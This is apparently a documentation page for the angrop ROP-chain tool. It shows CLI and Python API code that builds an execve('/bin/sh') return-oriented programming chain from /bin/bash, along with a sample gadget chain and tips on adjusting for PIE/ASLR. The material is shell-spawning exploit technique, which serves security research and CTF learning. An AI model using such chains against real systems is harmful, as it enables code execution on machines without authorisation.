Documentation Index
Fetch the complete documentation index at: https://mintlify.com/angr/angrop/llms.txt
Use this file to discover all available pages before exploring further.
Overview
This example shows how to build a ROP chain that executes /bin/sh using the execve() system call. This is one of the most common goals in exploit development.
CLI Approach
The easiest way to generate an execve chain is using the command-line tool:
angrop-cli chain -t execve /bin/bash
CLI Output Example
code_base = 0x0
chain = b""
chain += p64(code_base + 0x36083) # pop rax; pop rbx; pop rbp; ret
chain += p64(code_base + 0x30016) # add rsp, 8; ret
chain += p64(code_base + 0x34873)
chain += p64(code_base + 0x0)
chain += p64(code_base + 0x9616d) # mov edx, ebp; mov rsi, r12; mov rdi, rbx; call rax
chain += p64(code_base + 0xe501e) # pop rsi; ret 0
chain += p64(code_base + 0x0)
chain += p64(code_base + 0x31470) # execve@plt
chain += p64(0x0)
chain += p64(code_base + 0x10d5bf)
This chain:
- Sets up the necessary registers
- Prepares arguments for
execve()
- Calls
execve@plt with appropriate arguments
Python API Approach
Initialize angrop
import angr
import angrop
from pwnlib.elf import ELF
# Load binary with pwntools and angr
e = ELF("/bin/bash")
proj = angr.Project("/bin/bash", load_options={'main_opts':{'base_addr': 0}})
# Create ROP analysis
rop = proj.analyses.ROP(fast_mode=False, max_sym_mem_access=1, only_check_near_rets=False)
Find and optimize gadgets
from multiprocessing import cpu_count
# Find all gadgets
rop.find_gadgets(processes=cpu_count(), optimize=False)
# Optimize the gadget graph for better chains
rop.optimize(processes=cpu_count())
Build execve chain
There are two approaches depending on whether the binary has an execve function:Method 1: Using execve@plt (if available)# Check if execve exists in PLT or symbols
execve_addr = None
if 'execve' in e.plt:
execve_addr = e.plt['execve']
elif 'execve' in e.symbols:
execve_addr = e.symbols['execve']
if execve_addr:
# Look for "/bin/sh" string in binary
sh = next(e.search(b'/bin/sh\x00'), None)
if sh:
# Use existing "/bin/sh" string
chain = rop.func_call("execve", [sh, 0, 0], needs_return=False)
else:
# Write "/bin/sh" to memory first
sh = rop.chain_builder._reg_setter._get_ptr_to_writable(proj.arch.bytes)
chain = rop.write_to_mem(sh, b'/bin/sh\x00') + \
rop.func_call("execve", [sh, 0, 0], needs_return=False)
Method 2: Using syscall (if no execve function)# Use the built-in execve() chain builder
chain = rop.execve()
Generate payload
# Print ready-to-use exploit code
chain.print_payload_code()
Complete Example
Simple execve() Chain
import angr
import angrop
# Load the binary
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()
# Find gadgets
rop.find_gadgets()
# Generate execve chain automatically
chain = rop.execve()
# Print the payload
chain.print_payload_code()
Advanced execve() Chain with Memory Write
import angr
import angrop
from pwnlib.elf import ELF
from multiprocessing import cpu_count
# Load binary
e = ELF("/bin/bash")
proj = angr.Project("/bin/bash", load_options={'main_opts':{'base_addr': 0}})
rop = proj.analyses.ROP(fast_mode=False, max_sym_mem_access=1, only_check_near_rets=False)
# Find and optimize gadgets
rop.find_gadgets(processes=cpu_count(), optimize=False)
rop.optimize(processes=cpu_count())
# Find execve function
execve_addr = None
if 'execve' in e.plt:
execve_addr = e.plt['execve']
elif 'execve' in e.symbols:
execve_addr = e.symbols['execve']
if execve_addr:
# Check for "/bin/sh" string
sh = next(e.search(b'/bin/sh\x00'), None)
if sh is None:
# Write "/bin/sh" to writable memory
sh = rop.chain_builder._reg_setter._get_ptr_to_writable(proj.arch.bytes)
chain = rop.write_to_mem(sh, b'/bin/sh\x00') + \
rop.func_call("execve", [sh, 0, 0], needs_return=False)
else:
# Use existing string
chain = rop.func_call("execve", [sh, 0, 0], needs_return=False)
else:
# Use syscall-based approach
chain = rop.execve()
# Print the payload
chain.print_payload_code()
How It Works
An execve("/bin/sh", NULL, NULL) chain needs to:
- Place “/bin/sh” in memory - Either find it in the binary or write it to a writable location
- Set up arguments - Set registers/stack for:
arg1: Pointer to “/bin/sh”
arg2: NULL (argv)
arg3: NULL (envp)
- Call execve - Either through PLT, direct symbol, or syscall
CLI Options
The CLI supports additional options:
# Fast mode (skip optimization)
angrop-cli chain -t execve -f /bin/bash
# System call instead of execve
angrop-cli chain -t system /bin/bash
Understanding the Output
The generated chain uses code_base + offset format:
code_base = 0x0: Assumes PIE base is 0 (adjust in your exploit)
- Each
p64() is either a gadget address or data
- Comments show what each gadget does
In your exploit, you’ll need to adjust code_base if the binary uses PIE/ASLR.